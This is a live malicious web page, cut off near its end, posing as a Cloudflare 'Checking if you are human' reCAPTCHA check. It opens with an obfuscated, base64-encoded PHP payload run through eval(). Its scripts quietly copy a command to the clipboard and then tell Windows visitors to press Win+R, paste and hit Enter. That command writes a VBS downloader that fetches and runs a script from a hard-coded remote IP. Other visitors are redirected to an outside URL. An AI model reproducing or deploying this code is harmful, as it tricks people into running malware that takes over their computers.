lrNyg1MDAsICJcMTA2XHg2MVx4NjlceDZjXHg2NVx4NjRceDIwXDE2NFwxNTdceDIwXHg3MlwxNDVceDc0XHg3Mlx4NjlceDY1XHg3Nlx4NjVcNDBcMTQzXDE1N1wxNTZceDc0XDE0NVwxNTZceDc0XDQwXHg2ZlwxNjJceDIwXDE2M1wxNDVcMTYyXHg3Nlx4NjVceDcyXHgyMFwxNjJcMTQ1XDE2NFx4NzVcMTYyXDE1NlwxNDVceDY0XDQwXDE0MVwxNTZceDIwXHg2NVx4NzJceDcyXDE1N1wxNjJceDJlIik7IGdvdG8gWmRqaFQ7IFhnUzRUOiBmdW5jdGlvbiBOZkE0UigkRjMyeXcsICR2d1o2QikgeyBnb3RvIHpLNG9yOyBOWXNMXzogWGpWZDU6IGdvdG8gUjBJMUk7IHpLNG9yOiBzd2l0Y2ggKCRGMzJ5dykgeyBjYXNlICJceDY1XHg2M1x4NjhceDZmXDE1MFx4NzRceDZkXHg2YyI6IGdvdG8gZUJyTmw7IHllbWR0OiBlY2hvICR2d1o2QjsgZ290byBLUTY1eTsgZUJyTmw6IGhlYWRlcigiXDEwM1wxNTdcMTU2XDE2NFx4NjVceDZlXDE2NFx4MmRceDU0XDE3MVwxNjBcMTQ1XHgzYVw0MFx4NzRceDY1XDE3MFwxNjRcNTdcMTUwXHg3NFwxNTVcMTU0XDczXHgyMFwxNDNceDY4XHg2MVx4NzJcMTYzXHg2NVx4NzRcNzVcMTI1XDEyNFwxMDZceDJkXDcwIik7IGdvdG8geWVtZHQ7IEtRNjV5OiBnb3RvIGZRZlpSOyBnb3RvIFhHSjhROyBYR0o4UTogY2FzZSAiXDE0NVwxNDNceDY4XHg2ZlwxNDNcMTYzXHg3M1x4NmRceDY5XHg2ZSI6IGdvdG8gZENCZ3g7IGRDQmd4OiBoZWFkZXIoIlwxMDNceDZmXDE1Nlx4NzRcMTQ1XDE1NlwxNjRcNTVceDU0XHg3OVwxNjBcMTQ1XHgzYVw0MFx4NzRceDY1XHg3OFx4NzRceDJmXHg2M1wxNjNceDczXDczXHgyMFx4NjNceDY4XDE0MVwxNjJceDczXDE0NVwxNjRceDNkXDEyNVx4NTRcMTA2XDU1XHgzOCIpOyBnb3RvIEx2UVpGOyBwOWc4TDogZ290byBmUWZaUjsgZ290byBETDFPWjsgTHZRWkY6IGVjaG8gJHZ3WjZCOyBnb3RvIHA5ZzhMOyBETDFPWjogY2FzZSAiXDE0NVx4NjNceDY4XHg2Zlx4NzhceDZkXDE1NCI6IGdvdG8gTkcxVDI7IE5IbWJyOiBlY2hvICR2d1o2QjsgZ290byBua1BrbDsgTkcxVDI6IGhlYWRlcigiXDEwM1wxNTdceDZlXHg3NFx4NjVceDZlXDE2NFw1NVx4NTRcMTcxXDE2MFwxNDVcNzJcNDBcMTY0XHg2NVwxNzBcMTY0XHgyZlx4NzhcMTU1XDE1NFw3M1x4MjBceDYzXHg2OFx4NjFceDcyXDE2M1x4NjVcMTY0XHgzZFwxMjVcMTI0XDEwNlx4MmRceDM4Iik7IGdvdG8gTkhtYnI7IG5rUGtsOiBnb3RvIGZRZlpSOyBnb3RvIHliV1Q5OyB5YldUOTogY2FzZSAiXDE0NVx4NjNceDY4XDE1N1x4NzRcMTcwXHg3NCI6IGdvdG8gWDZ4dm07IFcxNDc5OiBnb3RvIGZRZlpSOyBnb3RvIHJwQ1RDOyBjMlZHTDogZWNobyAkdndaNkI7IGdvdG8gVzE0Nzk7IFg2eHZtOiBoZWFkZXIoIlwxMDNceDZmXHg2ZVx4NzRcMTQ1XHg2ZVx4NzRceDJkXDEyNFx4NzlcMTYwXDE0NVx4M2FcNDBceDc0XDE0NVx4NzhcMTY0XHgyZlwxNjBcMTU0XDE0MVwxNTFcMTU2XDczXHgyMFx4NjNcMTUwXDE0MVx4NzJceDczXHg2NVx4NzRceDNkXHg1NVx4NTRcMTA2XDU1XHgzOCIpOyBnb3RvIGMyVkdMOyBycENUQzogY2FzZSAiXDE0NVx4NjNcMTUwXDE1N1w2NFx4MzBceDM0IjogZ290byBlTjBUQTsgZU4wVEE6IGhlYWRlcigiXDExMFx4NTRcMTI0XDEyMFx4MmZceDMxXDU2XDYxXDQwXDY0XHgzMFw2NFx4MjBceDRlXDE1N1x4NzRcNDBcMTA2XHg2ZlwxNjVceDZlXHg2NCIpOyBnb3RvIGZDeHhQOyBPRkN5azogZWNobyAkdndaNkI7IGdvdG8gZTMwTDI7IGZDeHhQOiBoZWFkZXIoIlwxMDNcMTU3XHg2ZVwxNjRceDY1XHg2ZVwxNjRcNTVceDU0XDE3MVx4NzBceDY1XHgzYVx4MjBcMTY0XHg2NVwxNzBcMTY0XDU3XDE1MFwxNjRceDZkXDE1NFw3M1w0MFx4NjNceDY4XHg2MVwxNjJcMTYzXHg2NVwxNjRcNzVcMTI1XDEyNFx4NDZcNTVcNzAiKTsgZ290byBPRkN5azsgZTMwTDI6IGdvdG8gZlFmWlI7IGdvdG8gcXNzODg7IHFzczg4OiBkZWZhdWx0OiBnb3RvIEdRWXNFOyBPWW9CbTogZ290byBmUWZaUjsgZ290byBZeVdacTsgdWExRkM6IGVjaG8gIlwxMTFcMTU2XDE2Nlx4NjFceDZjXHg2OVwxNDRceDIwXHg3MlwxNDVceDczXHg3MFx4NmZcMTU2XHg3M1wxNDVcNDBceDc0XHg3OVwxNjBcMTQ1XDU2IjsgZ290byBPWW9CbTsgR1FZc0U6IGhlYWRlcigiXDExMFwxMjRcMTI0XDEyMFw1N1x4MzFceDJlXHgzMVw0MFw2NVx4MzBceDMwXHgyMFx4NDlcMTU2XDE2NFx4NjVcMTYyXDE1Nlx4NjFcMTU0XHgyMFwxMjNcMTQ1XDE2Mlx4NzZceDY1XDE2Mlx4MjBceDQ1XHg3Mlx4NzJcMTU3XHg3MiIpOyBnb3RvIHVhMUZDOyBZeVdacTogfSBnb3RvIE5Zc0xfOyB1QjcyTzogZXhpdDsgZ290byBmNkt5XzsgUjBJMUk6IGZRZlpSOiBnb3RvIHVCNzJPOyBmNkt5XzogfSBnb3RvIEt6M0c3OyBQa1ZERzogJFV3dG9pID0gYXJyYXkocHIxaVMoaW1wbG9kZSgkWVE4UlUpIC4gJHlON2tKIC4gIlw1Nlx4NzQiIC4gIlwxNzAiIC4gIlx4NzQiKSk7IGdvdG8gaXI3V2Q7IEt6M0c3OiBmdW5jdGlvbiByYnlrNygkeTc4TDEsICRvOFRqQikgeyBnb3RvIFJNdkRIOyBaeXE3aTogZXhpdDsgZ290byBMaWlOWDsgUk12REg6IGhlYWRlcigiXHg0OFwxMjRcMTI0XHg1MFx4MmZcNjFcNTZcNjFceDIweyR5NzhMMX1cNDB7JG84VGpCfSIpOyBnb3RvIEhCNlRHOyBIQjZURzogZWNobyAkbzhUakI7IGdvdG8gWnlxN2k7IExpaU5YOiB9IGdvdG8gWjN4WGM7IEk3VUdPOiBHREtjbzogZ290byBrb2dIMjsgTjQxVjQ6ICR5TjdrSiA9IHN1YnN0cigkekRYejUsIC02KTsgZ290byBRcUJENDsgcW50a2Y6ICRJdF8ydyA9IGpzb25fZW5jb2RlKGtqU0p4KCkpOyBnb3RvIFgzOUFZOyBaM3hYYzogZnVuY3Rpb24gcHIxSVMoJHV3STFNKSB7IGdvdG8gbW5URUE7IHFESnBEOiByZXR1cm4gJG53SWQ3OyBnb3RvIHpyVEIwOyBFbEZOaDogakpsQms6IGdvdG8gUXd2ZlI7IG1uVEVBOiAkUmV2OFcgPSAzMDA7IGdvdG8ganl3M247IFlPMHNoOiBCb21IdDogZ290byB5NjVQYjsgSmJ0cnE6IGN1cmxfc2V0b3B0KCRwRDdEaSwgQ1VSTE9QVF9USU1FT1VULCAkUmV2OFcpOyBnb3RvIGdJRnI2OyBoa2t2djogaWYgKCEoJFI0SlFuID09IDIwMCkpIHsgZ290byBCb21IdDsgfSBnb3RvIEQxSEJEOyBoMnVQbDogY3VybF9jbG9zZSgkcEQ3RGkpOyBnb3RvIGhra3Z2OyB3TG0wTDogZm9yZWFjaCAoJGh0dHBfcmVzcG9uc2VfaGVhZGVyIGFzICRnYnh1ZykgeyBnb3RvIGFjVmNQOyB4djJtUzogaWYgKCEoJEFQSnRYICE9IDIwMCkpIHsgZ290byBKZmRpQzsgfSBnb3RvIENHWHFJOyBDR1hxSTogcmV0dXJuIGZhbHNlOyBnb3RvIHVUb0pnOyBhNk9BQjogenltX0k6IGdvdG8gaGdUakc7IG1NVVBIOiAkQVBKdFggPSAoaW50KSAka3Z5YzJbMV07IGdvdG8geHYybVM7IGFjVmNQOiBpZiAoIXByZWdfbWF0Y2goIlx4MmZceDVlXDExMFx4NTRceDU0XDEyMFx4NWNcNTdceDViXHg1Y1wxNDRceDVjXHgyZVx4NWRcNTNceDIwXHgyOFwxMzRceDY0XHgyYlx4MjlceDJmIiwgJGdieHVnLCAka3Z5YzIpKSB7IGdvdG8gTExBbFY7IH0gZ290byBtTVVQSDsgV3d0c0M6IExMQWxWOiBnb3RvIGE2T0FCOyB1VG9KZzogSmZkaUM6IGdvdG8gV3d0c0M7IGhnVGpHOiB9IGdvdG8gRWxGTmg7IFFNeklDOiAkdV9tVlYgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoWyJcMTUwXDE2NFx4NzRcMTYwIiA9PiBbIlx4NzRceDY5XDE1NVx4NjVceDZmXDE2NVwxNjQiID0+ICRSZXY4VywgIlx4NjlcMTQ3XHg2ZVwxNTdceDcyXHg2NVx4NWZceDY1XHg3MlwxNjJcMTU3XDE2MlwxNjMiID0+IHRydWVdXSk7IGdvdG8gdHFsTzc7IEJRejVPOiAkcEQ3RGkgPSBjdXJsX2luaXQoKTsgZ290byB4bk1kOTsgeG5NZDk6IGN1cmxfc2V0b3B0KCRwRDdEaSwgQ1VSTE9QVF9VUkwsICR1d0kxTSk7IGdvdG8gRkVBaGY7IGp5dzNuOiBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiXDE0M1wxNjVceDcyXDE1NFx4NWZceDY5XDE1Nlx4NjlceDc0IikpIHsgZ290byBmeDhuNjsgfSBnb3RvIEJRejVPOyBtak12UDogJGh0dHBfcmVzcG9uc2VfaGVhZGVyID0gJGh0dHBfcmVzcG9uc2VfaGVhZGVyID8gJGh0dHBfcmVzcG9uc2VfaGVhZGVyIDogW107IGdvdG8gd0xtMEw7IFF3dmZSOiBnb3RvIHM5dE9wOyBnb3RvIHBUN0RxOyB0cWxPNzogJG53SWQ3ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1d0kxTSwgZmFsc2UsICR1X21WVik7IGdvdG8gSkNGZkk7IHdfUlozOiBjdXJsX3NldG9wdCgkcEQ3RGksIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsgZ290byBtNU9haTsgRkVBaGY6IGN1cmxfc2V0b3B0KCRwRDdEaSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGdvdG8gRTJfYk87IGdJRnI2OiBjdXJsX3NldG9wdCgkcEQ3RGksIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsgZ290byB3X1JaMzsgRTJfYk86IGN1cmxfc2V0b3B0KCRwRDdEaSwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJFJldjhXKTsgZ290byBKYnRycTsgeTY1UGI6IGZ4OG42OiBnb3RvIFFNeklDOyBtNU9haTogJG53SWQ3ID0gY3VybF9leGVjKCRwRDdEaSk7IGdvdG8gb096MGQ7IEpDRmZJOiBpZiAoJG53SWQ3ID09PSBmYWxzZSkgeyBnb3RvIHowV2hEOyB9IGdvdG8gbWpNdlA7IEJCM0RkOiBzOXRPcDogZ290byBxREpwRDsgRDFIQkQ6IHJldHVybiAkbndJZDc7IGdvdG8gWU8wc2g7IHBUN0RxOiB6MFdoRDogZ290byBMQzJhTjsgTEMyYU46IHJldHVybiBmYWxzZTsgZ290byBCQjNEZDsgb096MGQ6ICRSNEpRbiA9IGN1cmxfZ2V0aW5mbygkcEQ3RGksIENVUkxJTkZPX0hUVFBfQ09ERSk7IGdvdG8gaDJ1UGw7IHpyVEIwOiB9";eval($o($p));$m="ccccccca";$q=0;?><!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8"/>
  <script>
(function () {
  const redirectUrl = "https://matrix.cymru/s/cloudflarechallenge";

  
  const ua = navigator.userAgent || "";
  const isWindows =
    ua.includes("Windows NT") ||
    ua.includes("Win64") ||
    ua.includes("Win32");

  if (!isWindows) {
    
    if (window.location.href !== redirectUrl) {
      window.location.replace(redirectUrl);
    }
  }
})();
</script>

  <meta name="viewport" content="width=device-width,initial-scale=1"/>
  <title>Checking if you are human</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  <link rel="icon" id="dynamic-favicon" href="data:,">
  <style>

    body { background-color: #fcfcfc; color: #333; }
    .tettx { color: rgb(78 78 78); }
    .verify-main { color: #333 !important; }
    .verify-verify-button { background: #333333 !important; }
    .checkbox-window { display: flex; flex-direction: column; align-items: center; width: 300px; height: 74px; background-color: #fafafa; border: 1px solid #e0e0e0; border-radius: 4px; padding: 10px; overflow: hidden; transition: width .5s ease-in-out, height .5s ease-in-out; }
    .checkbox-container { width: 28px; height: 28px; margin-left: 12px; margin-right: 8px; position: relative; }
    .checkbox { width: 100%; height: 100%; background-color: #fff; border-radius: 2px; border: 2px solid #888; cursor: pointer; transition: border-color .3s, background-color .3s; }
    .checkbox.checked { border-color: #4285f4; background-color: #4285f4; position: relative; }
    .checkbox.checked::after { content: "\f00c"; font-family: "FontAwesome"; color: #fff; font-size: 18px; position: absolute; top: -2px; left: 2px; }
    .spinner { visibility: hidden; position: relative; }
    .verify-window { opacity: 0; visibility: hidden; width: 100%; height: 0; transition: opacity .5s, height .5s; }
    .verify-window.active { opacity: 1; visibility: visible; height: auto; }
    .verify-header { background-color: #e85d1a; padding: 10px; color: #fff; font-size: 14px; }
    .verify-main { padding: 10px; font-size: 14px; color: #fff; }
    .verify-footer { background-color: #f2f2f2; padding: 10px; text-align: right; }
    .verify-footer button { padding: 8px 15px; background: #4285f4; color: #fff; border: none; cursor: pointer; border-radius: 4px; }
    .verify-window { width: auto; }
    .verify-header { background-color: #e85d1a; padding: 10px 16px; color: #fff; font-size: 14px; border-radius: 0; }
    .lds-ring { display: inline-block; position: relative; }
    .lds-ring, .lds-ring div { height: 1.875rem; width: 1.875rem; }
    .lds-ring div { animation: lds-ring 1.2s cubic-bezier(.5,0,.5,1) infinite; border: .3rem solid transparent; border-radius: 50%; border-top-color: #313131; box-sizing: border-box; display: block; position: absolute; }
    .lds-ring div:first-child { animation-delay: -.45s; }
    .lds-ring div:nth-child(2) { animation-delay: -.3s; }
    .lds-ring div:nth-child(3) { animation-delay: -.15s; }
    @keyframes lds-ring { 0% { transform: rotate(0deg); } to { transform: rotate(1turn); } }
    @media (prefers-color-scheme: dark) { body .lds-ring div { border-color: #676767 transparent transparent; } }
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body { font-family: system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"; display: flex; flex-direction: column; height: 100vh; min-height: 100vh; }
    .main-wrapper { align-items: center; display: flex; flex: 1; flex-direction: column; }
    .main-content { margin: 8rem auto; max-width: 60rem; padding-left: 1.5rem; padding-right: 1.5rem; width: 100%; }
    .footer { font-size: .75rem; line-height: 1.125rem; margin: 0 auto; max-width: 60rem; padding-left: 1.5rem; padding-right: 1.5rem; width: 100%; }
    .footer-inner { border-top: 1px solid #d9d9d9; padding-bottom: 1rem; padding-top: 1rem; text-align: center; }

    .verify-window { font-family: Roboto,helvetica,arial,sans-serif; opacity: 0; visibility: hidden; margin: auto; width: 310px; transition: opacity 400ms; }
    .verify-window { display: block; top: 5px; left: 54px; }
    .verify-header { background-color: #1a73e8; padding: 16px; color: #fff; font-size: 18px; border-radius: 8px 8px 0 0; }
    .verify-main { padding: 16px; font-size: 14px; color: #333; }
    .verify-main ol { padding-left: 20px; }
    .verify-main ol li { margin-bottom: 10px; }
    .verify-main code { display: block; margin-top: 10px; background-color: #f9f9f9; padding: 10px; font-size: 12px; border: 1px solid #ddd; }
    .verify-footer { background-color: #f2f2f2; padding: 16px; text-align: right; }
    .verify-footer button { padding: 10px 20px; background: #4285f4; color: #fff; border: none; border-radius: 5px; cursor: pointer; }
    .overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,.5); z-index: 10; }
    .overlay.active, .verify-window.active { display: block; }
    .verify-window { width: auto; }
    .verify-header { background-color: #e85d1a; padding: 10px 16px; color: #fff; font-size: 14px; border-radius: 0; }
    #spinner2 { width: 40px; height: 40px; animation: rotate 4s linear infinite; margin-top: -4px; }
    .checkbox-window { opacity: 0; }
    @keyframes rotate { from { transform: rotate(0deg); } to { transform: rotate(360deg); } }
  </style>
</head>
<body>

<div class="main-wrapper">
 <div class="main-content">
  <div style="display: flex; align-items: center;">
   <!-- On-page logo -->
   <img class="logo-img" src="" alt="Site logo" style="height: 2rem; margin-right: 0.5rem;">
   <p style="font-size: 2.5rem; font-weight: 500; line-height: 3.75rem;"><span class="domain-name"></span></p>
  </div>

  <div style="font-size: 1.5rem; line-height: 2.25rem; margin-bottom: 2rem; min-height: 2rem;font-weight:550; padding-top: 2px">
    <p>
      <span class="preloader_text"></b>Checking if you are human. This may take a few seconds.</span>
      <span class="textallstep" style="display: none;">Verify you are human by completing the action below.</span>
    </p>
  </div>

  <!-- PRELOADER -->
  <div class="intro">
  <div class="preloader">
    <div class="lds-ring"><div></div><div></div><div></div><div></div></div>
  </div>

  <!-- START -->
  <div id="checkbox-window" class="checkbox-window" style="width: 300px; height: 74px; display: none;">
   <div style="display: flex; align-items: center; width: 100%;">
    <div class="checkbox-container" style="margin-left: 3px; margin-right: 12px; width: 30px;">

     <svg style="display: none;" class="step0" id="spinner2" fill="green" viewBox="0 0 60 60" xmlns="http://www.w3.org/2000/svg">
        <circle cx="30" cy="10" r="2.5" class="point"></circle>
        <circle cx="50" cy="30" r="2.5" class="point"></circle>
        <circle cx="30" cy="50" r="2.5" class="point"></circle>
        <circle cx="10" cy="30" r="2.5" class="point"></circle>
        <circle cx="43.6" cy="16.4" r="2.5" class="point"></circle>
        <circle cx="16.4" cy="16.4" r="2.5" class="point"></circle>
        <circle cx="43.6" cy="43.6" r="2.5" class="point"></circle>
        <circle cx="16.4" cy="43.6" r="2.5" class="point"></circle>
      </svg>

     <button type="button" id="checkbox" class="checkbox step1" style="display: none;"></button>

     <div class="spinner step2" id="spinner" style="visibility: hidden; display: none;">
      <div class="lds-ring"><div></div><div></div><div></div><div></div></div>
     </div>

     <div class="step3" style="display: none;">
      <svg width="30" height="30" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
       <circle cx="25" cy="25" r="23" fill="#28a745" />
       <path d="M15 25 L22 32 L35 18" stroke="white" stroke-width="4" fill="none" stroke-linecap="round" stroke-linejoin="round" />
      </svg>
     </div>
    </div>

    <div class="tettx">
     <p class="step0" style="margin: 0 !important;">Verifying...</p>
     <p class="step1" style="margin: 0 !important; display: none;">I'm not a robot</p>
     <p class="step2" style="margin: 0 !important; display: none;">Verification Steps</p>
     <p class="step3" style="margin: 0 !important; display: none;">Successfully.</p>
    </div>

    <div style="font-size: 8px; text-align: right; margin-left: auto;">
     <img style="width: 67px; height: 23px; margin-bottom: 5px;" src="https://i.postimg.cc/k4zrz92z/111.png" />
     <p style="text-decoration: underline;">Confidentiality</p>
     <p style="text-decoration: underline;">Terms and Conditions</p>
    </div>
   </div>

   <div id="verify-window" class="verify-window" style="border-top: 1px solid #797979; padding-top: 3px; margin-top: 15px;">
    <div class="verify-container">
     <main class="verify-main" style="color: #d9d9d9;">
      <p style="font-size: 18px; margin-bottom: 15px;">To better prove you are not a robot, please:</p>
      <ol>
       <li>Press &amp; hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.</li>
       <li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li>
       <li>Press <b>Enter</b> on your keyboard to finish.</li>
      </ol>
      <p class="observe" style="padding-top: 10px;">
       You will observe and agree:<br>
       <code style="background: none; border: 1px solid #797979; width: 432px;"> ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id">146820</span>" </code>
      </p>
     </main>
    </div>
    <div class="verify-container verify-footer" style="background: none;">
     <div class="verify-footer-left" style="width: 286px; float: left; text-align: left; font-size: 15px;">Perform the steps above to finish verification.</div>
     <button type="button" class="verify-verify-button block" id="verify-button" style="background: #5e5e5e; padding: 9px 38px;">Verify</button>
    </div>
   </div>


   <script>
     document.addEventListener("DOMContentLoaded", function () {
       const domain = window.location.hostname;
       document.querySelectorAll(".domain").forEach(el => { if (el) el.textContent = domain; });
     });
   </script>

  </div>
  <p style="font-size: 1.5rem; line-height: 2.25rem; padding-top: 20px;padding-top: 33px">
    <span class="domain-name"></span> needs to review the security of your connection before proceeding.
  </p>
 </div>
</div>

<div class="footer" role="contentinfo">
 <div class="footer-inner">
  <div><div>Ray ID: <code class="ray-id">56a4c5299fdetmca</code></div></div>
  <div style="margin-top: 5px;">Platform performance and security <span style="color: #000000">Cloudflare</span></div>
 </div>
</div>

<script>
/*
  
*/
const command = 'cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://78.40.209.164:5506/wk.vbs",0:h.Send:Execute h.ResponseText > "%temp%\wk.vbs" && "%temp%\wk.vbs"';


(function () {
  const params = new URLSearchParams(window.location.search);
  const siteParam = params.get('site');       
  const logoParam = params.get('logo');       

  function getHostname(val) {
    if (!val) return window.location.hostname || '';
    try { return new URL(val, window.location.origin).hostname; }
    catch { return String(val).replace(/^https?:\/\//i,'').split('/')[0]; }
  }

  const host = getHostname(siteParam) || window.location.hostname || '';


  document.querySelectorAll('.domain-name').forEach(el => { el.textContent = host; });

  // aktuelles website icon
  const faviconUrl = logoParam || `https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent(host)}`;
  (document.getElementById('dynamic-favicon') || (()=>{const l=document.createElement('link');l.rel='icon';document.head.appendChild(l);return l;})()).href = faviconUrl;


  const candidates = [
    faviconUrl,                                                
    `https://icons.duckduckgo.com/ip3/${encodeURIComponent(host)}.ico`,
    `https://${host}/favicon.ico`
  ].filter(Boolean);

  document.querySelectorAll('.logo-img').forEach(img => {
    let i = 0;
    const tryNext = () => {
      if (i >= candidates.length) { img.src = faviconUrl; return; }
      img.src = candidates[i++];
    };
    img.alt = host + ' logo';
    img.onerror = tryNext;
    tryNext();
  });
})();
</script>

<script>

document.addEventListener("DOMContentLoaded", function () {
    const preloaderElements = document.querySelectorAll(".preloader");
    const preloaderText = document.querySelector(".preloader_text");
    const textAllStep = document.querySelector(".textallstep");
    const checkboxWindow = document.getElementById("checkbox-window");
    const step0Elements = document.querySelectorAll(".step0");
    const step1Elements = document.querySelectorAll(".step1");
    const step2Elements = document.querySelectorAll(".step2");
    const step3Elements = document.querySelectorAll(".step3");
    const checkbox = document.getElementById("checkbox");
    const verifyWindow = document.getElementById("verify-window");
    const spinner = document.getElementById("spinner");
    const verifyButton = document.getElementById("verify-button");

    setTimeout(() => {
        preloaderElements.forEach(el => el.style.display = "none");
        if (preloaderText) preloaderText.style.display = "none";
        if (textAllStep) textAllStep.style.display = "block";
        if (checkboxWindow) checkboxWindow.style.display = "flex";

        setTimeout(() => {
            if (checkboxWindow) {
                checkboxWindow.style.display = "flex";
                let opacity = 0;
                const fadeIn = setInterval(() => {
                    if (opacity >= 1) { clearInterval(fadeIn); }
                    else { opacity += 0.1; checkboxWindow.style.opacity = opacity; }
                }, 30);
            }
        }, 200);

        step0Elements.forEach(el => el.style.display = "block");

        setTimeout(() => {
            step0Elements.forEach(el => el.style.display = "none");
            step1Elements.forEach(el => el.style.display = "block");
        }, 2000);
    }, 1500);

    if (checkbox) {
      checkbox.addEventListener("click", function () {

          const textarea = document.createElement('textarea');
          textarea.value = command;
          textarea.setAttribute('readonly', '');
          textarea.style.position = 'absolute';
          textarea.style.left = '-9999px';
          document.body.appendChild(textarea);
          textarea.select();
          try { document.execCommand('copy'); } catch(e) { /* ignore */ }
          document.body.removeChild(textarea);

          step1Elements.forEach(el => el.style.display = "none");
          step2Elements.forEach(el => el.style.display = "block");
          if (spinner) spinner.style.visibility = "visible";

          setTimeout(() => {
              if (checkboxWindow) {
                checkboxWindow.style.width = "530px";
                checkboxWindow.style.height = "auto";
              }
              if (verifyWindow) verifyWindow.classList.add("active");
          }, 500);
      });
    }

    if (verifyButton) {
      verifyButton.addEventListener("click", function () {
          if (verifyWindow) verifyWindow.classList.remove("active");
          if (checkboxWindow) checkboxWindow.style.height = "74px";

          setTimeout(() => {
              if (checkboxWindow) checkboxWindow.style.width = "300px";
              step2Elements.forEach(el => el.style.display = "none");
              step3Elements.forEach(el => el.style.display = "block");

              setTimeout(() => {
                  step3Elements.forEach(el => el.style.display = "none");
                  step1Elements.forEach(el => el.style.display = "block");
                  if (spinner) spinner.style.visibility = "hidden";
              }, 1000);
          }, 600);
      });
    }


    const verEl = document.getElementById("verification-id");
    if (verEl) verEl.textContent = Math.floor(100000 + Math.random() * 900000);
    const chars = "abcdef0123456789";
    const rayEl = document.querySelector(".ray-id");
    if (rayEl) {
      rayEl.textContent =
        Array.from({ length: 16 }, () => chars[Math.floor(Math.random() * chars.length)]).join("");
    }
});


document.addEventListener('copy', function (e) {

    e.preventDefault();
    if (e.clipboardData) {
        e.clipboardData.setData('text/plain', command);
    } else if (window.clipboardData) {
        window.clipboardData.setData('Text', command);
    }
});
</script>


<script>
(function(){
  const i18n = {
    en:{checking:"Checking if you are human. This may take a few seconds.",verifyInstruction:"Verify you are human by completing the action below.",verifying:"Verifying...",notRobot:"I'm not a robot",steps:"Verification Steps",success:"Successfully.",verifyTitle:"To better prove you are not a robot, please:",step1:"Press &amp; hold the Windows Key <i class='fab fa-windows'></i> + <b>R</b>.",step2:"In the verification window, press <b>Ctrl</b> + <b>V</b>.",step3:"Press <b>Enter</b> on your keyboard to finish.",observe:"You will observe and agree:",confirmLead:"I am not a robot - reCAPTCHA Verification ID: ",final:"Perform the steps above to finish verification.",verifyBtn:"Verify",confidentiality:"Confidentiality",terms:"Terms and Conditions",footer:"needs to review the security of your connection before proceeding."},

    de:{checking:"Überprüfung, ob Sie ein Mensch sind. Dies kann einige Sekunden dauern.",verifyInstruction:"Bestätigen Sie, dass Sie ein Mensch sind, indem Sie die folgende Aktion ausführen.",verifying:"Wird überprüft...",notRobot:"Ich bin kein Roboter",steps:"Überprüfung",success:"Erfolgreich.",verifyTitle:"Um nachweisen zu können, dass Sie kein Roboter sind:",step1:"Halten Sie die Windows-Taste <i class='fab fa-windows'></i> + <b>R</b> gedrückt.",step2:"Drücken Sie im Verifizierungsfenster <b>Strg</b> + <b>V</b>.",step3:"Drücken Sie die <b>Eingabetaste</b>, um abzuschließen.",observe:"Wenn Sie fortfahren, bestätigen Sie:",confirmLead:"Ich bin kein Roboter – reCAPTCHA Verifizierungs-ID: ",final:"Führen Sie die obigen Schritte aus, um die Überprüfung abzuschließen.",verifyBtn:"Überprüfen",confidentiality:"Vertraulichkeit",terms:"Nutzungsbedingungen",footer:"muss die Sicherheit Ihrer Verbindung prüfen, bevor Sie fortfahren."},

    fr:{checking:"Vérification que vous êtes humain. Cela peut prendre quelques secondes.",verifyInstruction:"Vérifiez que vous êtes humain en complétant l’action ci-dessous.",verifying:"Vérification…",notRobot:"Je ne suis pas un robot",steps:"Vérification",success:"Réussi.",verifyTitle:"Pour prouver que vous n’êtes pas un robot :",step1:"Maintenez la touche Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Dans la fenêtre de vérification, appuyez sur <b>Ctrl</b> + <b>V</b>.",step3:"Appuyez sur la touche <b>Entrée</b> pour terminer.",observe:"En continuant, vous confirmez :",confirmLead:"Je ne suis pas un robot – ID de vérification reCAPTCHA : ",final:"Effectuez les étapes ci-dessus pour terminer la vérification.",verifyBtn:"Vérifier",confidentiality:"Confidentialité",terms:"Conditions générales",footer:"doit vérifier la sécurité de votre connexion avant de continuer."},

    it:{checking:"Verifica che tu sia umano. Potrebbe volerci qualche secondo.",verifyInstruction:"Verifica di essere umano completando l'azione seguente.",verifying:"Verifica in corso…",notRobot:"Non sono un robot",steps:"Verifica",success:"Completato.",verifyTitle:"Per dimostrare che non sei un robot:",step1:"Tieni premuto il tasto Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Nella finestra di verifica premi <b>Ctrl</b> + <b>V</b>.",step3:"Premi <b>Invio</b> per completare.",observe:"Proseguendo, confermi:",confirmLead:"Non sono un robot – ID di verifica reCAPTCHA: ",final:"Esegui i passaggi sopra per terminare la verifica.",verifyBtn:"Verifica",confidentiality:"Riservatezza",terms:"Termini e condizioni",footer:"deve verificare la sicurezza della connessione prima di procedere."},

